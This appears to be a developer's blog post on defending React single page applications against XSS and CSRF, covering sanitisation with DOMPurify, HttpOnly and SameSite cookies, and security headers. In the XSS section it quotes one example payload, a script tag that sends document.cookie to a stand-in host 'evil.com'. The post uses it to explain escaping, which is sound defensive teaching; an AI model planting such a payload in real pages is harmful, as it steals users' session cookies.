Defending Modern Single Page Applications Against Cross-Site Scripting (XSS) and CSRF Attacks

Learn practical methods to prevent XSS and defend against CSRF in modern React single page applications using secure headers and HTTP-only cookies.

Published by Aafaque Nazir on 2026-11-06 • 7 min read
Quick Answer: To prevent XSS in React, avoid using dangerouslySetInnerHTML and sanitize user input. To defend against CSRF, store session tokens in SameSite HTTP-only cookies instead of localStorage.

Understanding the Threat Landscape in Single Page Applications

Modern single page applications shift a massive amount of rendering logic to the client browser. While this creates fast user experiences, it also changes how security vulnerabilities manifest. When building complex business software like [Inventory Management / InvMaster OS](/projects/1), protecting user data and session integrity is non-negotiable. Two common attack vectors threaten client-heavy applications: Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF).

XSS occurs when an application includes untrusted data in a web page without proper validation or escaping, allowing attackers to execute arbitrary JavaScript in the victim's browser. CSRF tricks a authenticated user into executing unwanted actions on a web application in which they are currently authenticated.

Mitigating Cross-Site Scripting (XSS) in React

React protects developers by escaping all content rendered inside JSX expressions by default. If a user inputs malicious markup like `<script>fetch('https://evil.com/'+document.cookie)</script>`, React converts those characters into safe strings rather than executing them.

The vulnerability usually appears when developers bypass these built-in protections to render rich text or raw HTML strings using unsafe utilities.

// DANGEROUS: Opens up XSS if userContent contains malicious scripts
export function UnsafeRender({ userContent }) {
  return <div dangerouslySetInnerHTML={{ __html: userContent }} />;
}

// SAFE: Use a dedicated sanitization library like DOMPurify if raw HTML is mandatory
import DOMPurify from 'dompurify';

export function SafeRender({ userContent }) {
  const cleanHtml = DOMPurify.sanitize(userContent);
  return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}
Rule of Thumb for Input Handling
Never trust data originating from client input fields, URL parameters, or third-party APIs. Always sanitize on both the client side before rendering and on the server side before storing in the database.

Preventing CSRF via Secure Cookie Architecture

Many applications store JSON Web Tokens (JWT) inside browser `localStorage`. While convenient, this practice leaves tokens vulnerable to XSS theft. If an attacker injects a script, they can read `localStorage.getItem('token')` and ship your session credentials to an external server.

The secure alternative is storing session tokens in cookies configured with strict security flags:

  • HttpOnly: Blocks client-side JavaScript from reading the cookie, neutralizing XSS token theft.
  • Secure: Ensures the cookie is only transmitted over encrypted HTTPS connections.
  • SameSite=Strict (or Lax): Prevents the browser from sending the cookie along with cross-site requests, mitigating CSRF attacks.

Locking Down Security Headers and Content Security Policy (CSP)

Beyond code-level safeguards, your web server must deliver strong HTTP security headers. A robust Content Security Policy (CSP) restricts the domains from which scripts, stylesheets, and images can be loaded.

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

Implementing these headers stops clickjacking attempts, prevents MIME-type confusion attacks, and enforces HTTPS connections globally.

Need Help Implementing This in Your Product?

As an independent web developer, I build fast, production-ready web applications with security built into the core architecture. [Hire Aafaque Nazir](/services) or [get in touch for a consultation](/contact).

Frequently Asked Questions

How do you prevent XSS in React applications?

React automatically escapes values embedded in JSX, which protects against most XSS out of the box. However, you must avoid dangerouslySetInnerHTML and validate all data rendered from untrusted sources.

Are HttpOnly cookies secure against CSRF?

HttpOnly cookies prevent JavaScript from reading your tokens, which stops XSS theft. However, they are still sent automatically by the browser on cross-origin requests, so you must combine them with the SameSite attribute set to Strict or Lax.

Should I store JWT authentication tokens in localStorage?

No. Storing authentication tokens in localStorage makes them instantly readable by any malicious script injected via an XSS vulnerability. Store session tokens in secure HTTP-only cookies instead.

← Back to all articles